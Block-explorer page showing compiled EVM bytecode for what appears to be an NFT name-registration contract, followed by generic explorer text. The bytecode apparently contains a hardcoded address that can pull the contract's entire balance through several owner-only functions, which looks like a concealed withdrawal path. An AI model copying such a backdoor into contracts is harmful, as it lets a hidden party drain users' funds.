1526020018280546125079061490d565b80156125545780601f1061252957610100808354040283529160200191612554565b820191906000526020600020905b81548152906001019060200180831161253757829003601f168201915b505050505090509392505050565b601a5460ff166125845760405162461bcd60e51b8152600401610eff90614ca1565b60008183604051602001612599929190614d02565b6040516020818303038152906040529050601f54825111156125cd5760405162461bcd60e51b8152600401610eff90614957565b60008251116125ee5760405162461bcd60e51b8152600401610eff9061497a565b6125f782612066565b6126135760405162461bcd60e51b8152600401610eff906149a0565b60028160405161262391906149c6565b9081526020016040518091039020546000146126515760405162461bcd60e51b8152600401610eff906149e2565b6000612666600285604051610ea991906149c6565b9050336001600160a01b031681600001516001600160a01b0316036127145760008054815260016020526040902061269e8382614ac8565b506000546002836040516126b291906149c6565b90815260200160405180910390208190555033600e836040516126d591906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561270f336001613a86565b611294565b60108460405161272491906149c6565b9081526040519081900360200190205460ff1615156001146127825760405162461bcd60e51b815260206004820152601760248201527627b7363c9037bbb732b91031b0b7103932b3b4b9ba32b960491b6044820152606401610eff565b60118460405161279291906149c6565b9081526020016040518091039020543410156127c05760405162461bcd60e51b8152600401610eff90614a11565b80600001516001600160a01b03166108fc6064601e5460646127e29190614bc0565b6127ec9034614ba9565b6127f69190614b87565b6040518115909202916000818181858888f1935050505015801561281e573d6000803e3d6000fd5b506000805481526001602052604090206128388382614ac8565b5060005460028360405161284c91906149c6565b90815260200160405180910390208190555033600e8360405161125a91906149c6565b600061288660028787604051610ea9929190614947565b80519091506001600160a01b031633146128b25760405162461bcd60e51b8152600401610eff90614d3e565b81601487876040516128c5929190614947565b908152602001604051809103902085856040516128e3929190614947565b90815260200160405180910390209081611b729190614ac8565b33600080516020614f3d83398151915203612931574761292b600080516020614f3d83398151915282613aa0565b5061295b565b600a546001600160a01b0316331461295b5760405162461bcd60e51b8152600401610eff90614ccd565b601b93909355601c91909155601d55601e55565b61297a848484613885565b6001600160a01b0383163b156112945761299684848484613c0b565b611294576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b0316600e83836040516129cf929190614947565b908152604051908190036020019020546001600160a01b031614612a055760405162461bcd60e51b8152600401610eff90614d3e565b336000908152600f60205260409020610e8d828483614d5d565b6060612a2a826136ce565b612a4757604051630a14c4b560e41b815260040160405180910390fd5b6000612a51613cf6565b90508051600003612a715760405180602001604052806000815250612aa6565b8060016000858152602001908152602001600020604051602001612a96929190614e1c565b6040516020818303038152906040525b9392505050565b33600080516020614f3d83398151915203612ae15747612adb600080516020614f3d83398151915282613aa0565b50612b0b565b600a546001600160a01b03163314612b0b5760405162461bcd60e51b8152600401610eff90614ccd565b6020611be58282614ac8565b60005b8151811015610e8d57601a5460ff16612b455760405162461bcd60e51b8152600401610eff90614ca1565b6000828281518110612b5957612b59614c5b565b602002602001015184604051602001612b73929190614d02565b6040516020818303038152906040529050601f54838381518110612b9957612b99614c5b565b602002602001015151111581604051602001612bb59190614e43565b60405160208183030381529060405290612be25760405162461bcd60e51b8152600401610eff9190613fc8565b506000838381518110612bf757612bf7614c5b565b60200260200101515111612c1d5760405162461bcd60e51b8152600401610eff9061497a565b612c3f838381518110612c3257612c32614c5b565b6020026020010151612066565b81604051602001612c509190614e76565b60405160208183030381529060405290612c7d5760405162461bcd60e51b8152600401610eff9190613fc8565b50600281604051612c8e91906149c6565b90815260200160405180910390205460001481604051602001612cb19190614ead565b60405160208183030381529060405290612cde5760405162461bcd60e51b8152600401610eff9190613fc8565b506000612cf4600286604051610ea991906149c6565b9050336001600160a01b031681600001516001600160a01b031603612da257600080548152600160205260409020612d2c8382614ac8565b50600054600283604051612d4091906149c6565b90815260200160405180910390208190555033600e83604051612d6391906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055612d9d336001613a86565b612f62565b601085604051612db291906149c6565b9081526040519081900360200190205460ff161515600114612e105760405162461bcd60e51b815260206004820152601760248201527627b7363c9037bbb732b91031b0b7103932b3b4b9ba32b960491b6044820152606401610eff565b8351601186604051612e2291906149c6565b908152602001604051809103902054612e3b9190614ba9565b341015612e5a5760405162461bcd60e51b8152600401610eff90614a11565b80600001516001600160a01b03166108fc6064601e546064612e7c9190614bc0565b601189604051612e8c91906149c6565b908152602001604051809103902054612ea59190614ba9565b612eaf9190614b87565b6040518115909202916000818181858888f19350505050158015612ed7573d6000803e3d6000fd5b50600080548152600160205260409020612ef18382614ac8565b50600054600283604051612f0591906149c6565b90815260200160405180910390208190555033600e83604051612f2891906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055612f62336001613a86565b505080612f6e90614c71565b9050612b1a565b60005b8151811015610e8d5760008251601754612f929190614ba9565b905060006017549050600080601f54868681518110612fb357612fb3614c5b565b6020026020010151511115868681518110612fd057612fd0614c5b565b6020026020010151604051602001612fe89190614e43565b604051602081830303815290604052906130155760405162461bcd60e51b8152600401610eff9190613fc8565b50600086868151811061302a5761302a614c5b565b602002602001015151116130505760405162461bcd60e51b8152600401610eff9061497a565b613065868681518110612c3257612c32614c5b565b86868151811061307757613077614c5b565b602002602001015160405160200161308f9190614e76565b604051602081830303815290604052906130bc5760405162461bcd60e51b8152600401610eff9190613fc8565b506001600160a01b0387166000036130e45785516017546130dd9190614ba9565b9350613188565b6001600160a01b0387166000908152600f6020526040812080546131079061490d565b90501115613130576064601c548461311f9190614ba9565b6131299190614b87565b905061314d565b6064601b54846131409190614ba9565b61314a9190614b87565b90505b6064601d54606461315e9190614bc0565b875160175461316d9190614ba9565b6131779190614ba9565b6131819190614b87565b9350600191505b600286868151811061319c5761319c614c5b565b60200260200101516040516131b191906149c6565b9081526020016040518091039020546000148686815181106131d5576131d5614c5b565b60200260200101516040516020016131ed9190614ead565b6040516020818303038152906040529061321a5760405162461bcd60e51b8152600401610eff9190613fc8565b50601a5460ff1661323d5760405162461bcd60e51b8152600401610eff90614ca1565b8334101561325d5760405162461bcd60e51b8152600401610eff90614a11565b85858151811061326f5761326f614c5b565b6020026020010151600160008054815260200190815260200160002090816132979190614ac8565b5060005460028787815181106132af576132af614c5b565b60200260200101516040516132c491906149c6565b90815260200160405180910390208190555033600e8787815181106132eb576132eb614c5b565b602002602001015160405161330091906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561336d576040516001600160a01b0388169082156108fc029083906000818181858888f1935050505015801561336b573d6000803e3d6000fd5b505b613378336001613a86565b505050508061338690614c71565b9050612f78565b33600080516020614f3d833981519152036133c157476133bb600080516020614f3d83398151915282613aa0565b506133eb565b600a546001600160a01b031633146133eb5760405162461bcd60e51b8152600401610eff90614ccd565b6016611be58282614ac8565b8151602081840181018051601482529282019482019490942091909352815180830184018051928152908401929093019190912091528054611cef9061490d565b33600080516020614f3d8339815191520361346c5747613466600080516020614f3d83398151915282613aa0565b50613496565b600a546001600160a01b031633146134965760405162461bcd60e51b8152600401610eff90614ccd565b6001600160a01b0381166134fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610eff565b61350481613bb9565b50565b6060600061351483611d70565b90506000816001600160401b038111156135305761353061403a565b60405190808252806020026020018201604052801561356357816020015b606081526020019060019003908161354e5790505b509050600160005b8381101561141b57600061357e83611c4c565b9050866001600160a01b0316816001600160a01b03160361365c5760215460ff1615156001036135fb5760008381526001602090815260409182902091516135ca929160169101614c46565b6040516020818303038152906040528483815181106135eb576135eb614c5b565b602002602001018190525061364e565b601660016000858152602001908152602001600020604051602001613621929190614c46565b60405160208183030381529060405284838151811061364257613642614c5b565b60200260200101819052505b8161365881614c71565b9250505b8261366681614c71565b9350505061356b565b6001600160a01b03163b151590565b60006001600160e01b031982166380ac58cd60e01b14806136af57506001600160e01b03198216635b5e139f60e01b145b80610d3057506301ffc9a760e01b6001600160e01b0319831614610d30565b6000816001111580156136e2575060005482105b8015610d30575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6040805160608101825260008082526020820181905291810191909152818060011161386c5760005481101561386c57600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff1615159181018290529061386a5780516001600160a01b031615613801579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215613865579392505050565b613801565b505b604051636f96cda160e11b815260040160405180910390fd5b600061389082613763565b9050836001600160a01b031681600001516001600160a01b0316146138c75760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b03861614806138e557506138e58533610c7d565b806139005750336138f584610dc8565b6001600160a01b0316145b90508061392057604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b03841661394757604051633a954ecd60e21b815260040160405180910390fd5b61395360008487613707565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116613a27576000548214613a2757805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461168e565b600082613a7d8584613d05565b14949350505050565b611be5828260405180602001604052806000815250613d52565b80471015613af05760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610eff565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114613b3d576040519150601f19603f3d011682016040523d82523d6000602084013e613b42565b606091505b5050905080610e8d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610eff565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290613c40903390899088908890600401614ee2565b6020604051808303816000875af1925050508015613c7b575060408051601f3d908101601f19168201909252613c7891810190614f1f565b60015b613cd9573d808015613ca9576040519150601f19603f3d011682016040523d82523d6000602084013e613cae565b606091505b508051600003613cd1576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b606060158054610d459061490d565b600081815b8451811015613d4a57613d3682868381518110613d2957613d29614c5b565b6020026020010151613f19565b915080613d4281614c71565b915050613d0a565b509392505050565b6000546001600160a01b038416613d7b57604051622e076360e81b815260040160405180910390fd5b82600003613d9c5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b15613ec4575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4613e8d6000878480600101955087613c0b565b613eaa576040516368d2bf6b60e11b815260040160405180910390fd5b808210613e42578260005414613ebf57600080fd5b613f09565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808210613ec5575b5060009081556112949085838684565b6000818310613f35576000828152602084905260409020612aa6565b5060009182526020526040902090565b6001600160e01b03198116811461350457600080fd5b600060208284031215613f6d57600080fd5b8135612aa681613f45565b60005b83811015613f93578181015183820152602001613f7b565b50506000910152565b60008151808452613fb4816020860160208601613f78565b601f01601f19169290920160200192915050565b602081526000612aa66020830184613f9c565b600060208284031215613fed57600080fd5b5035919050565b80356001600160a01b038116811461400b57600080fd5b919050565b6000806040838503121561402357600080fd5b61402c83613ff4565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b03811182821017156140785761407861403a565b604052919050565b600082601f83011261409157600080fd5b81356001600160401b038111156140aa576140aa61403a565b6140bd601f8201601f1916602001614050565b8181528460208386010111156140d257600080fd5b816020850160208301376000918101602001919091529392505050565b60006020828403121561410157600080fd5b81356001600160401b0381111561411757600080fd5b61220f84828501614080565b8035801515811461400b57600080fd5b60008083601f84011261414557600080fd5b5081356001600160401b0381111561415c57600080fd5b6020830191508360208285010111156112c757600080fd5b6000806000806060858703121561418a57600080fd5b61419385614123565b93506020850135925060408501356001600160401b038111156141b557600080fd5b6141c187828801614133565b95989497509550505050565b6000806000606084860312156141e257600080fd5b6141eb84613ff4565b92506141f960208501613ff4565b9150604084013590509250925092565b60008083601f84011261421b57600080fd5b5081356001600160401b0381111561423257600080fd5b6020830191508360208260051b85010111156112c757600080fd5b60008060006040848603121561426257600080fd5b83356001600160401b038082111561427957600080fd5b61428587838801614080565b9450602086013591508082111561429b57600080fd5b506142a886828701614209565b9497909650939450505050565b600080604083850312156142c857600080fd5b50508035926020909101359150565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561432c57603f1988860301845261431a858351613f9c565b945092850192908501906001016142fe565b5092979650505050505050565b6000806040838503121561434c57600080fd5b61435583613ff4565b915060208301356001600160401b0381111561437057600080fd5b61437c85828601614080565b9150509250929050565b60006020828403121561439857600080fd5b612aa682614123565b600080600080606085870312156143b757600080fd5b84356001600160401b03808211156143ce57600080fd5b6143da88838901614080565b955060208701359150808211156143f057600080fd5b6143fc88838901614080565b9450604087013591508082111561441257600080fd5b506141c187828801614209565b6000806040838503121561443257600080fd5b82356001600160401b0381111561444857600080fd5b61445485828601614080565b92505061446360208401613ff4565b90509250929050565b60006020828403121561447e57600080fd5b612aa682613ff4565b60008060006060848603121561449c57600080fd5b8335925060208401356001600160401b038111156144b957600080fd5b6144c586828701614080565b925050604084013590509250925092565b600080602083850312156144e957600080fd5b82356001600160401b038111156144ff57600080fd5b61450b85828601614209565b90969095509350505050565b60008060006040848603121561452c57600080fd5b83356001600160401b0381111561454257600080fd5b61454e86828701614133565b9094509250614561905060208501613ff4565b90509250925092565b6000806040838503121561457d57600080fd5b61458683613ff4565b915061446360208401614123565b6000806000604084860312156145a957600080fd5b83356001600160401b03808211156145c057600080fd5b6145cc87838801614080565b945060208601359150808211156145e257600080fd5b506142a886828701614133565b6000806040838503121561460257600080fd5b82356001600160401b038082111561461957600080fd5b61462586838701614080565b9350602085013591508082111561463b57600080fd5b5061437c85828601614080565b60008060008060006060868803121561466057600080fd5b85356001600160401b038082111561467757600080fd5b61468389838a01614133565b9097509550602088013591508082111561469c57600080fd5b6146a889838a01614133565b909550935060408801359150808211156146c157600080fd5b506146ce88828901614080565b9150509295509295909350565b600080600080608085870312156146f157600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000806080858703121561472357600080fd5b61472c85613ff4565b935061473a60208601613ff4565b92506040850135915060608501356001600160401b0381111561475c57600080fd5b61476887828801614080565b91505092959194509250565b6000806020838503121561478757600080fd5b82356001600160401b0381111561479d57600080fd5b61450b85828601614133565b600082601f8301126147ba57600080fd5b813560206001600160401b03808311156147d6576147d661403a565b8260051b6147e5838201614050565b93845285810183019383810190888611156147ff57600080fd5b84880192505b8583101561483b5782358481111561481d5760008081fd5b61482b8a87838c0101614080565b8352509184019190840190614805565b98975050505050505050565b6000806040838503121561485a57600080fd5b82356001600160401b038082111561487157600080fd5b61487d86838701614080565b9350602085013591508082111561489357600080fd5b5061437c858286016147a9565b600080604083850312156148b357600080fd5b6148bc83613ff4565b915060208301356001600160401b038111156148d757600080fd5b61437c858286016147a9565b600080604083850312156148f657600080fd5b6148ff83613ff4565b915061446360208401613ff4565b600181811c9082168061492157607f821691505b60208210810361494157634e487b7160e01b600052602260045260246000fd5b50919050565b8183823760009101908152919050565b6020808252600990820152684c6f6e67206e616d6560b81b604082015260600190565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b600082516149d8818460208701613f78565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b602080825260129082015271496e73756666696369656e742066756e647360701b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6001600160401b03818116838216019080821115614a7357614a73614a3d565b5092915050565b601f821115610e8d57600081815260208120601f850160051c81016020861015614aa15750805b601f850160051c820191505b81811015614ac057828155600101614aad565b505050505050565b81516001600160401b03811115614ae157614ae161403a565b614af581614aef845461490d565b84614a7a565b602080601f831160018114614b2a5760008415614b125750858301515b600019600386901b1c1916600185901b178555614ac0565b600085815260208120601f198616915b82811015614b5957888601518255948401946001909101908401614b3a565b5085821015614b775787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082614ba457634e487b7160e01b600052601260045260246000fd5b500490565b8082028115828204841417610d3057610d30614a3d565b81810381811115610d3057610d30614a3d565b60008154614be08161490d565b60018281168015614bf85760018114614c0d57614c3c565b60ff1984168752821515830287019450614c3c565b8560005260208060002060005b85811015614c335781548a820152908401908201614c1a565b50505082870194505b5050505092915050565b600061220f614c558386614bd3565b84614bd3565b634e487b7160e01b600052603260045260246000fd5b600060018201614c8357614c83614a3d565b5060010190565b600081614c9957614c99614a3d565b506000190190565b60208082526012908201527153616c65206973206e6f742061637469766560701b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008351614d14818460208801613f78565b601760f91b9083019081528351614d32816001840160208801613f78565b01600101949350505050565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b03831115614d7457614d7461403a565b614d8883614d82835461490d565b83614a7a565b6000601f841160018114614dbc5760008515614da45750838201355b600019600387901b1c1916600186901b17835561168e565b600083815260209020601f19861690835b82811015614ded5786850135825560209485019460019092019101614dcd565b5086821015614e0a5760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b60008351614e2e818460208801613f78565b614e3a81840185614bd3565b95945050505050565b60008251614e55818460208701613f78565b6e2069732061206c6f6e67206e616d6560881b920191825250600f01919050565b60008251614e88818460208701613f78565b7220697320616e20696e76616c6964206e616d6560681b920191825250601301919050565b60008251614ebf818460208701613f78565b701034b99030b63932b0b23c903a30b5b2b760791b920191825250601101919050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090614f1590830184613f9c565b9695505050505050565b600060208284031215614f3157600080fd5b8151612aa681613f4556fe000000000000000000000000888888542da9e684078a68708fd56f86d43699aea2646970667358221220eaa2842650f67705f8bc81c39ac334ba2f469e98b7df76a9b159a592b22dc6db64736f6c63430008110033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.